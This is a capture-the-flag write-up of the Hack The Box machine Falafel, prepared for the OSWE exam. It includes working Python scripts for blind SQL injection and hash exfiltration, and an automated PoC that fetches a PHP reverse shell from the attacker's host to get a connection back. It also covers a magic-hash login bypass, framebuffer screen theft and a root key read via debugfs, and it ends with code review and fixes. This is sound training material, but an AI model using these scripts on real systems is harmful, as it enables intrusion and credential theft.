OSWE Prep – HTB Falafel – No SQLMap

Hack the box released a machine named Falafel in 2018. The difficulty set by the community and HTB is Hard, and I can see why considering the machine required quite a few different attack types including blind SQL injection, password cracking, type juggling, file upload bypass, and abusing Linux permissions and group misconfigurations to finally obtain root access. I ran across it in the community-provided list of HTB boxes that are similar to what you may encounter during the OSWE exam.

Hack the Box – Falafel

After I obtained all the flags on the machine, I then took the obtained knowledge and built a script to automate exploitation up to the initial access. Then I dove into the code to better understand why the vulnerabilities existed and provided the recommendations for each finding.

Reconnaissance

As always I started by enumerating ports on the target machine using Nmap with the run all scripts, enumerate versions, and scan all TCP flags. The results didn’t leave much to explore outside of a web server on port 80.

┌──(kali㉿kali)-[~/Documents/htb/falafel]
└─$ nmap -sC -sV -oA all_tcp -p- falafel.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-17 09:25 EDT
Nmap scan report for falafel.htb (10.10.10.73)
Host is up (0.064s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 36:c0:0a:26:43:f8:ce:a8:2c:0d:19:21:10:a6:a8:e7 (RSA)
|   256 cb:20:fd:ff:a8:80:f2:a2:4b:2b:bb:e1:76:98:d0:fb (ECDSA)
|_  256 c4:79:2b:b6:a9:b7:17:4c:07:40:f3:e5:7c:1a:e9:dd (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/*.txt
|_http-title: Falafel Lovers
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.40 seconds

Navigating to the page I was presented with a simple web application with a login page.

Falafel Home Page
Falafel Login Page

Before attempting to log in, I further enumerated files and directories using gobuster using the “raft-large-directories.txt” and “raft-large-files.txt” wordlists.

Gobuster Directory Scan Results
Gobuster File Scan Results

None of the pages I found included anything of interest. Moving on to the login page, I began fuzzing the inputs looking for injection vulnerabilities. For this, I used Burp Suite Intruder. The results came back with one of three different responses including “Wrong identification: admin”, “Hacking Attempt Detected!”, and “try again”.

SQL Injection Payload Response 1 of 3

As you can see from the results above it seemed as though any SQL statement that should return true, returned the “Wrong identification: admin” response.

SQL Injection Payload Response 2 of 3
SQL Injection Payload Response 3 of 3

Initial Foothold

Based on the information with the response “wrong identification : admin” we have a boolean SQL injection we may be able to use to enumerate data from the database. Look at the response when replacing the “a” with a “b” in this payload “a’%20or%20’a’%20%3d%20’a”.

False SQL Payload Response

So basically our boolean would look something like this:

if response == 7091 bytes: 
	Query == True
else: 
	Query == False

Below is a script used to compare a known True vs False statement based on the contents returned to the caller. The “checkSqli” function was mostly formed from the Burp Suite extension “Copy As Python-Requests” and uses the bytes value of “7091” to determine True or False results.

import sys
import requests

def checkSqli(ip, inj_str, query_type):
    burp0_url = "http://falafel.htb:80/login.php"
    burp0_cookies = {"PHPSESSID": "s3v3834nlgs1omvj657ovusgk7"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://falafel.htb", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://falafel.htb/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
    burp0_data = "username="+inj_str+"&password=test"
    r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    content_length = int(r.headers['Content-Length'])
    if (query_type==True) and (content_length == 7091):
        return True
    elif (query_type==False) and (content_length != 7091):
        return True
    else:
        return False

def main():
    if len(sys.argv) != 2:
        print("[+] usage: %s <target>" % sys.argv[0])
        sys.exit(-1)
    ip = sys.argv[1]
    falseStatement = "a'%20or%20'a'%20%3d%20'b"
    trueStatement = "a'%20or%20'a'%20%3d%20'a"
    if checkSqli(ip, trueStatement, True):
        if checkSqli(ip, falseStatement, False):
            print("[+] True / False check complete. Target vulnerable.")
    else:
        print("Should not have happened")

if __name__ == "__main__":
    main()
“falafel_exploit.py” Execution

Now that I have a solid boolean-based request I attempted to exfiltrate data by brute-forcing each character. For that, I tested the concept by exfiltrating the target database version. A typical request to get the database version may look like “select version();”, but we will need to make this into a True / False question based on the size of the response returned from the server.

The query used in the script below is asking the database for each ASCII character from 32-126. If the query returns True, print that character to stdout and continue to the next character in the range from 1-30. Remember the logic to determine if the query is True, is the returned “7091” byte count.

import sys
import requests

def checkSqli(inj_str):
    for values in range(32, 126):
        burp0_url = "http://falafel.htb:80/login.php"
        burp0_cookies = {"PHPSESSID": "s3v3834nlgs1omvj657ovusgk7"}
        burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://falafel.htb", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://falafel.htb/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        burp0_data = "username="+inj_str.replace("[CHAR]", str(values))+"&password=test"
        r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        content_length = int(r.headers['Content-Length'])
        if content_length == 7091:
            return values
    return None

def main():
    if len(sys.argv) != 2:
        print("[+] usage: %s <target>" % sys.argv[0])
        sys.exit(-1)
    ip = sys.argv[1]
    for each in range(1, 30):
        injectionQuery = "a'%%20or%%20(ascii(substring((select%%20version()),%d,1)))=[CHAR]%%23" % each
        try:
            exfilChar = chr(checkSqli(injectionQuery))
            sys.stdout.write(exfilChar)
            sys.stdout.flush()
        except:
            print("\n[+] All Characters Found!")
            break
    print("\n[+] Done!")
if __name__ == "__main__":
    main()
“falafel_exploit_v2.py” Execution

Perfect! I now have a confirmed method of exfiltrating data from the database. Next, I attempted to confirm what user we are.

Select User Query Payload
Exfiltrated Username
Select Database Query Payload
Exfiltrated Database Name

Next, I enumerated the users in the database with the following query “select username from users where id = ‘<integer>'”.

Select Users Query Payload
Exfiltrated User ID == 1
Exfiltrated User ID == 2
Exfiltrated User ID == 3

Okay so now that I had the usernames stored within the database, I grabbed the hashes to see if the credentials were weak. For that, I used the following query “select password from users where id =’1′”.

Select Password Query Payload
Exfiltrated User ID == 1 / admin
Exfiltrated User ID == 2 / chris

I realized after attempting to get the hash format by using “john”, the output was truncated due to the range values provided in the script. I changed the values to allow up to 100 characters to get the full hash.

Exfiltrated User ID == 1 / admin (Attempt 2)
Exfiltrated User ID == 2 / chris (Attempt 2)

For cracking hashes I will typically try a site called crackstation.net which has been successful for me in the past. I provided the exfiltrated hashes which resulted in a successful password crack for the user chris!

User “chris” Cracked Hash

Privilege Escalation 1 of 3

Using the credentials to log into the web application, I was then presented with a profile page for the user Chris.

Profile Page for Chris User

No additional access was granted as the user Chris, but I did have a strong clue to look into “Type Juggling” based on the text provided. Loose comparison operators can lead to unexpected behavior when comparing variables. I may be able to take advantage of this vulnerability.

Looking back at the admin password you could immediately recognize a format difference with the leading “0e” followed by all integers. Crackstation was unable to recognize the format, but doing a quick google search on “passwords starting with an 0e” lead to magic hash values. When any value is hashed and starts with “0e” the value is then converted to “^0+ed*$” which equals zero in PHP if the operator is “==”. We can test this on our Kali machine.

Print PHP Values Starting with “0e”

Basically, this means that we could pass multiple values as the password for the admin user. Looking at some magic hash lists on GitHub I found this resource. (https://github.com/spaze/hashes/blob/master/md5.md)

Oddly enough the first item in the list contained the value “240610708” which converted to the magic hash we needed to match for authentication as the admin user, but any of the values that convert to “0e*” MD5 should work.

Github Magic Hash List

Trying this value allowed me to successfully log in as the admin user!

Successful Authentication with “240610708” Password Value

Successful login lead to an “Upload via url:” page.

Upload Page

I tried to get some command execution using a known PHP backdoor found here.

PHP Backdoor Code
Bad Extension Response

Denied. Based on the response I tried to bypass the “.png” check with some common file upload bypass techniques. I started by uploading a legitimate .png to check functionality.

Successful File Upload with Normal “.png”

The response returned to the caller was very verbose and leaked some important information such as directory location to the attacker.

File Retrieved by Falafel Server

Navigating to the leaked directory I saw the expected uploaded png. Now if I could just bypass the file type check, I should have command execution and/or a reverse shell.

Uploaded Trenches of IT “.png”

At this point, I tested a ton of file upload bypass techniques found here. A few of the example attempts:

  • php_backdoor.png.php
  • php_backdoor.php%00.png
  • php_backdoor.php%0a.png
  • php_backdoor.phpRANDOMSTRINGpng
  • php_backdoor.png.jpg.php

Next, I moved on to a technique involving input length checking. This is when I noticed the name is truncated and then saved in the generated directory. With this in mind, I should be able to bypass the front end by providing the “.png” extension at the end of the file name, but far enough that the last four characters will be removed before being saved. That would leave just the .php extension saved in the directory.

Input Length Checking
236 “A” Characters
236 “A” Characters with Added Extensions

I created a file containing a new single-line PHP reverse shell payload and saved the filename with 236 A’s followed by the “.php”. That equals the file name character limit of 240 and the “.png” should be truncated from the final filename saved to the server.

PHP Reverse Shell Payload and Final File Name
Successful File Upload with New Name
Requesting PHP Reverse Shell Payload
Connection Returned to Attacker

Yes, I finally had a shell. Once the initial foothold was obtained I navigated the file system checking known configuration files to contain credentials and spot-checking for any anomalies. Below is just an interesting email I found within the web directories.

Interesting Email File

Privilege Escalation 2 of 3

Within the “connection.php” file, I found credentials for the user moshe. I first attempted to connect to the database with the credentials, but the connection was not successful.

Database Configuration File

The attempt to change users failed as well.

Change User Attempt / Database Connection Attempt

Next, I checked for password re-use by simply attempting an SSH connection as the user moshe.

Successful SSH with Discovered Credentials

Ha, that worked and I grabbed the user flag.

User Flag

I then used LinPEAS to enumerate the machine for any privilege escalation paths. I started the http.server on my kali machine and pulled the file down with “wget” on the victim.

LinPEAS “wget” and Execution

While reviewing the LinPEAS results I noticed lots of Linux container files and I am familiar with a privilege escalation method related to lxc.

LinPEAS Result Review

Shortly after beginning to check all the requirements for the lxc privilege escalation, I realized that this user was not part of the correct group, but we were part of a video group.

Groups for User “moshe”

I looked back at the LinPEAS results and saw another user logged into the machine, which is very uncommon in an isolated HTB environment.

User “yossi” Logged In

I wasn’t sure what I could do with this, but Google always knows. I found a method here to view another users screen with the following commands. First, I printed the screen from “fb0” to the “/tmp/” directory and named the file “screen.raw. Next, I printed the screen size of the captured screen.

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
Exporting Screen

To work with the file, I moved it to my Kali machine using a simple.http.upload.py script on the Kali machine. Then executed a curl PUT command from the victim. This script was used.

Transferred “screen.raw” to Kali Machine
Tool to Accept Incoming Files

I checked the file type using the “file” command.

Checking File Type

Opening the file in GIMP required a bit more configuration in order to display correctly.

GIMP – Open “screen.raw”

Selected file type “Raw image data”.

Select File Type

Configured the width to match the output from earlier, but the height didn’t seem to matter as much.

GIMP – Ratio Configuration

The image type within GIMP also had to be configured in order to see the image clearly. At this point, GIMP displayed the screenshot perfectly. Not only did this reveal a potential password for the user yossi, but showed the user mistakenly entered the password after the passwd command instead of the target username.

GIMP – Image Type Selection

I attempted the new credentials when SSHing as the user yossi, and it worked!

SSH as User “yossi”

Privilege Escalation 3 of 3

At this point, I copied “linPEAS” back to the machine and executed the script.

Copy LinPEAS from Kali Machine
LinPEAS Execution

Nothing too interesting came from the script except the “Disk” group that yossi was a member of. I didn’t notice this when reviewing the results of the “id” command earlier. Looking at the capabilities of a user with this group showed that I should be able to read and write to files as root. (Source)

First I performed a “df -h” looking for the root drive. Then executed the “debugfs /dev/sda1” command to enter the new debugfs shell. Last I printed the private key for the root user.

File Read with Disk Group Permissions

I dropped the key content in the “root.key” file and reduced the file permissions. Then logged into the target machine as root!

SSH with Private Key

Exploitation POC

We are preparing for the OSWE so it would be a missed opportunity not to write a single click POC. My goal here was to automate the initial access using the blind SQL injection vulnerability. The simplified flow looked something like this.

PoC Flow

The script will exfiltrate the “Admin” user password hash, then log in as the administrator, upload the malicious file, request the malicious file, and return a connection back to the attacker.

Prerequisites:

Before executing the script the caller needs to edit the “AAA…” file that will be uploaded to ensure their attacker machine IP and Port are correctly configured. In addition, the attacker needs to set up an HTTP Server and Netcat listener. These are required for the script to upload the target file and connect back to the attacker.

Flow description:

Though the exfiltrated “Admin” user hash is not required for this PoC, I included the “checkSqli” function in this flow. After the hash has been extracted from the DB, the script performs the initial Admin user login with the “adminLogin” function. This function returns the “Admin” user PHP session ID used in future calls to the web application.

Next, the “revShell” function starts by kicking off the “fileUpload” function. The “fileUpload” function uploads the malicious reverse shell payload and grabs the generated directory location used later within the “revShell” function.

Last, the “revShell” function continues by using the returned directory location to request the file located on the web application. This causes the victim machine to execute the malicious .php file and connect back to the attacker.

import sys                                                                                                                                  
import requests     
import re           
import subprocess          
                                   
exfilData = []                                                        
                                   
def checkSqli(ip, port, inj_str):                                                                                                           
    for values in range(32, 126):
        burp0_url = "http://%s:%d/login.php" % (ip, port)
        burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://"+ip, "Content-Type": "applicatio
n/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.7
4 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/si
gned-exchange;v=b3;q=0.9", "Referer": "http://"+ip+"/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "C
onnection": "close"} 
        burp0_data = "username="+inj_str.replace("[CHAR]", str(values))+"&password=test"
        r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
        content_length = int(r.headers['Content-Length'])
        if content_length == 7091:
            return values                                                                                                                   
    return None                
                                                                      
def adminLogin(ip, port, discoveredPass):                     
    burp0_url = "http://%s:%d/login.php" % (ip, port)
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://"+ip, "Content-Type": "application/x-
www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Sa
fari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9", "Referer": "http://"+ip+"/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Conne
ction": "close"}
                     fari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicatio[0/1735]-exchange;v=b3;q=0.9", "Referer": "http://"+ip+"/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Conne
ction": "close"}                                                                                                                            
    burp0_data = "username=Admin""&password="+ discoveredPass                                                                               
    r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)    
    roughAdminCookie = r.headers['Set-Cookie']                       
    finalAdminCookie = re.match("PHPSESSID\=(\w+)", roughAdminCookie)                                                                       
    return finalAdminCookie.group(1)     
                                                                                                                                            
def fileUpload(ip, port, attackerIp, attackerPort, phpSessionId):
    burp1_url = "http://%s:%d/upload.php" % (ip, port)                                                                                      
    burp1_cookies = {"PHPSESSID": phpSessionId}                                                                                             
    burp1_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://"+ip, "Content-Type": "application/x-
www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://"+ip+"/upload.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Conn
ection": "close"}                                                                                                                           
    burp1_data = {"url": "http://"+ attackerIp +":"+str(attackerPort)+"/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA.php.png"}                                                                                                          
    r = requests.post(burp1_url, headers=burp1_headers, cookies=burp1_cookies, data=burp1_data)                                             
    uploadLocation = re.match(".*cd\s\/var\/www\/html\/uploads\/(\d+\-\d+\_\w+)", str(r.content))
    return uploadLocation.group(1)                                    
                                                                      
def revShell(ip, port, attackerIp, attackerPort, phpSessionId):                                                                             
    uploadLocation = fileUpload(ip, port, attackerIp, attackerPort, phpSessionId)                                                           
    burp2_url = "http://%s:%d/uploads/%s/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php" %
 (ip, port, uploadLocation)                                           
    burp2_cookies = {"PHPSESSID": phpSessionId}                                                                                             
    burp2_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language":
 "en-US,en;q=0.9", "Connection": "close"}                                                                                                   
    r = requests.get(burp2_url, headers=burp2_headers, cookies=burp2_cookies)                                                               
    print("Check listening port on attacker machine for connection...")
                                   
def main():                                                           
    if len(sys.argv) != 5:                                                                                                                  
        print("[+] usage: %s <target> <targetport> <attackerIP> <attackerPort>" % sys.argv[0])
        sys.exit(-1)
    ip = sys.argv[1]       
    port = int(sys.argv[2])        
    attackerIp = sys.argv[3]                                          
    attackerPort = int(sys.argv[4]) 
    for each in range(1, 100):                                                                                                              
        injectionQuery = "a'%%20or%%20(ascii(substring((select%%20password%%20from%%20users%%20where%%20id%%20=%%20'1'),%d,1)))=[CHAR]%%23" 
% each                                                                
        try:                                                                                                                                
            exfilChar = chr(checkSqli(ip, port, injectionQuery))                                                                            
            sys.stdout.write(exfilChar)                                                                                                     
            exfilData.append(exfilChar)                                                                                                     
            sys.stdout.flush()
        except:                                                                                                                             
            print("\n[+] All Characters Found!")                                                                                            
            break                                                     
    #Supplying static credentials as admin password
    creds = 'aabC9RqS'                                                                                                                      
    print("Exfiltrated Admin user password hash: "+(''.join(map(str, exfilData))))                                       
    phpSessionId = adminLogin(ip, port, creds)                
    revShell(ip, port, attackerIp, attackerPort, phpSessionId)
    print("\n[+] Done!")                                                                                                                    
if __name__ == "__main__":                                                                                                                  
    main()

Execution:

Let’s take a look at the execution of the script above. We saw the returned hash along with some other print statements letting the caller know what stage the exploit is currently in.

“falafel_PoC.py Execution”

Checking the HTTP server on the attacker machine, we see a successful call during the “fileUpload” function.

HTTP Server on Attacker Machine

Last, taking a look back at the listener, we have a connection from the victim machine.

NetCat Listener

Code Review

Now that I had root, I went back through the code to find where the vulnerabilities were, and what we could recommend as a solution to the developers. Below is the “login_logic.php” file found in the “/var/www/html” directory.

<?php                                                                 
  include("connection.php");                                          
  session_start();                                                    
  if($_SERVER["REQUEST_METHOD"] == "POST") {                          
    if(!isset($_REQUEST['username'])&&!isset($_REQUEST['password'])){ 
      //header("refresh:1;url=login.php");                            
      $message="Invalid username/password.";                          
      //die($message);                                                
      goto end;                                                       
          }                                                           
                                                                      
    $username = $_REQUEST['username'];                                
    $password = $_REQUEST['password'];                                
                                                                      
    if(!(is_string($username)&&is_string($password))){                
      $message="Invalid username/password.";                          
      //die($message);                                                
      goto end;                                                       
    }                                                                 
                                                                      
    $password = md5($password);                                       
    $message = "";                                                    
    if(preg_match('/(union|\|)/i', $username) or preg_match('/(sleep)/
i',$username) or preg_match('/(benchmark)/i',$username)){             
      $message="Hacking Attempt Detected!";                           
      //die($message);                                                
      goto end;                                                       
    }                                                                 
                                                                      
    $sql = "SELECT * FROM users WHERE username='$username'";          
    $result = mysqli_query($db,$sql);                                 
    $users = mysqli_fetch_assoc($result);                             
    mysqli_close($db);                                                
    if($users) {                                                      
      if($password == $users['password']){                            
        if($users['role']=="admin"){                                  
          $_SESSION['user'] = $username;                              
          $_SESSION['role'] = "admin";                                
          header("refresh:1;url=upload.php");                         
          //die("Login Successful!");   
          $message = "Login Successful!";                    
        }elseif($users['role']=="normal"){                            
                                  $_SESSION['user'] = $username;
                                  $_SESSION['role'] = "normal";
          header("refresh:1;url=profile.php");                        
                                  //die("Login Successful!");
          $message = "Login Successful!";                             
        }else{                     
          $message = "That's weird..";                                
        }                          
      }                            
      else{                        
        $message = "Wrong identification : ".$users['username'];
      }                            
    }                              
    else{                          
      $message = "Try again..";                                       
    }                              
    //echo $message;               
  }                                
  end:                             
?>                                 

Blind SQL Injection

Starting at line thirty let’s look at the logic behind this SQL query. So on line 34 if the username exists continue. Line 35, if the user-provided password is equal to the user password stored in the database continue. Here we can see a user enumeration vulnerability because the response changes if the user exists to “Wrong identification : $username”. This is also the response we used to validate True responses from the injection payloads.

$sql = "SELECT * FROM users WHERE username='$username'";          
    $result = mysqli_query($db,$sql);                                 
    $users = mysqli_fetch_assoc($result);                             
    mysqli_close($db);                                                
    if($users) {                                                      
      if($password == $users['password']){                            
        if($users['role']=="admin"){                                  
          $_SESSION['user'] = $username;                              
          $_SESSION['role'] = "admin";                                
          header("refresh:1;url=upload.php");                         
          //die("Login Successful!");   
          $message = "Login Successful!";                    
        }elseif($users['role']=="normal"){                            
                                  $_SESSION['user'] = $username;
                                  $_SESSION['role'] = "normal";
          header("refresh:1;url=profile.php");                        
                                  //die("Login Successful!");
          $message = "Login Successful!";                             
        }else{                     
          $message = "That's weird..";                                
        }                          
      }                            
      else{                        
        $message = "Wrong identification : ".$users['username'];
      }                            
    }                              
    else{                          
      $message = "Try again..";

Looking at line 30 we see a simple injection vulnerability and no sanitization on the $username parameter. This plus the if logic with different error messages leads to the blind SQL injection vulnerability.

Type Juggling Vulnerability

if($users) {                                                      
      if($password == $users['password']){                            
        if($users['role']=="admin"){                                  
          $_SESSION['user'] = $username;

On line 35 we have a PHP loose comparison that causes the type juggling vulnerability.

File Upload Vulnerability

The “upload.php” file contained the upload feature for the web application. We had a few different vulnerabilities that affected the upload feature.

<?php include('authorized.php');?>                                         
<?php                                                                               
 error_reporting(E_ALL);                                                            
 ini_set('display_errors', 1);                                                      
 function download($url) {                                                          
   $flags  = FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED | FILTER_FLAG_P
ATH_REQUIRED;                                                                       
   $urlok  = filter_var($url, FILTER_VALIDATE_URL, $flags);                         
   if (!$urlok) {                                                                   
     throw new Exception('Invalid URL');                                            
   }                                                                                
   $parsed = parse_url($url);                                                       
   if (!preg_match('/^https?$/i', $parsed['scheme'])) {                             
     throw new Exception('Invalid URL: must start with HTTP or HTTPS');             
   }                                                                                
   $host_ip = gethostbyname($parsed['host']);                                       
   $flags  = FILTER_FLAG_IPV4 | FILTER_FLAG_NO_RES_RANGE;                           
   $ipok  = filter_var($host_ip, FILTER_VALIDATE_IP, $flags);                       
   if ($ipok === false) {                                                           
     throw new Exception('Invalid URL: bad host');                                  
   }                                                                                
   $file = pathinfo($parsed['path']);                                               
   $filename = $file['basename'];                                                   
   if(! array_key_exists( 'extension' , $file )){                                   
     throw new Exception('Bad extension');                                          
   }                                                                                
   $extension = strtolower($file['extension']);                                     
   $whitelist = ['png', 'gif', 'jpg'];                                              
   if (!in_array($extension, $whitelist)) {                                         
     throw new Exception('Bad extension');                                          
   }                                                                                
   // re-assemble safe url                                                          
   $good_url = "{$parsed['scheme']}://{$parsed['host']}";                           
   $good_url .= isset($parsed['port']) ? ":{$parsed['port']}" : '';                 
   $good_url .= $parsed['path'];                                                    
   $uploads  = getcwd() . '/uploads';                                               
   $timestamp = date('md-Hi');                                                      
   $suffix  = bin2hex(openssl_random_pseudo_bytes(8));                              
   $userdir  = "${uploads}/${timestamp}_${suffix}";                                 
   if (!is_dir($userdir)) {                                                         
     mkdir($userdir);                                                               
   }                                                                                
   $cmd = "cd $userdir; timeout 3 wget " . escapeshellarg($good_url) . " 2>&1";  
   $output = shell_exec($cmd);  
   return [  
     'output' => $output,  
     'cmd' => "cd $userdir; wget " . escapeshellarg($good_url),  
     'file' => "$userdir/$filename",
     ];  
 }  

 $error = false;  
 $result = false;  
 $output = '';  
 $cmd = '';  
 if (isset($_REQUEST['url'])) {  
   try {  
     $download = download($_REQUEST['url']);  
     $output = $download['output'];  
     $filepath = $download['file'];  
     $cmd = $download['cmd'];  
     $result = true;  
   } catch (Exception $ex) {  
     $result = $ex->getMessage();  
     $error = true;   
   }  
 }  
 ?>  
 <!DOCTYPE html>  
 <html>  
 <head>  
   <title>Falafel Lovers - Image Upload</title>  
   <?php include('style.php');?> 
        <?php include('css/style.php');?>
 </head>  
 <body>  
 <?php include('header.php');?>

 <br><br><br>
 <div style='width: 60%;margin: 0 auto; color:#303030'> 
<div class="container" style="margin-top: 50px; margin-bottom: 50px;position: relati
ve; z-index: 99; height: 110%;background:#F8F8F8;box-shadow: 10px 10px 5px #000000;p
adding-left: 50px;padding-right: 50px;">
<br><br>
   <h1>Upload via url:</h1>  
   <?php if ($result !== false): ?>  
     <div>  
       <?php if ($error): ?>  
         <h3>Something bad happened:</h3>   
         <p><?php echo htmlentities($result); ?></p>  
       <?php else: ?>   
        <h3>Upload Succsesful!</h3> 
        <div>  
        <h4>Output:</h4>  
        <pre>CMD: <?php echo htmlentities($cmd); ?></pre>  
        <pre><?php echo htmlentities($output); ?></pre>
          </div>  
       
       <?php endif; ?>  
       </div>
   <?php endif; ?>  
   <div>  
     <p>Specify a URL of an image to upload:</p>  
     <form method="post">  
       <label>  
         <input type="url" name="url" placeholder="http://domain.com/path/image.png"
>  
       </label>  
       <input type="submit" value="Upload">  
     </form>  
<br><br>
 </div>
   </div>  
</div>
   <footer>  
   </footer>  
 </body>  
 </html> 

First, excessive data was sent to the user when the upload function was executed. In lines 95 and 96, the “$cmd” and “$output” contents are returned to the caller. There is no reason to present the user with this information.

 <pre>CMD: <?php echo htmlentities($cmd); ?></pre>  
        <pre><?php echo htmlentities($output); ?></pre>

Second, the lack of length input allows bypassing the file extension verification in line 24.

if(! array_key_exists( 'extension' , $file )){                                   
     throw new Exception('Bad extension');                                          
   }                                                                                
   $extension = strtolower($file['extension']);                                     
   $whitelist = ['png', 'gif', 'jpg'];                                              
   if (!in_array($extension, $whitelist)) {                                         
     throw new Exception('Bad extension');                                          
   }                                           

Recommendations

Blind SQL Injection

The blind SQL injection allowed the attacker to enumerate database users and hashes leading to system compromise. Ensure the username input is validated before processing by looking into a solution such as this. In addition, change the “Wrong identification : ” response to the “Try again..” response. This will prevent any user enumeration from the error responses.

Type Juggling

The attacker was able to bypass admin authentication using magic hash values. Ensure all loose comparisons are changed to strict comparisons to prevent bypassing admin login using magic hash values.

File Upload

File upload misconfigurations allowed the attacker to gain an initial reverse shell to the target system. Remove the verbose outputs to the user containing commands executed and storage locations. Use a generic response that will not reveal unnecessary inner workings of the web application to the user. Ensure the filename supplied by the user is validated for character length before the OS 240 character limit is met or exceeded.

Password Reuse

Password re-use allowed the attacker to gain a shell as the moshe user. Enforce password policies and user education to mitigate password re-use within the organization.

User Linux Groups

Misconfigurations in the linux groups allowed the attacker to laterally move through the system and escalate privileges to root. Review user groups to ensure the principle of least privilege is enforced. If a user does not need access to specific features within the system, remove the access.

Conclusion

Falafel has definitely taken the spot as my favorite HTB machine yet. There were so many different vulnerability categories to discover and test. From excessive data to loose privileges configured for the OS users. I highly recommend this machine for anyone preparing for the OSWE due to the vulnerability categories encountered while rooting the box. If all the boxes on the HTB OSWE-like list are this good, I can’t wait for the next one.

Until next time, stay safe in the Trenches of IT!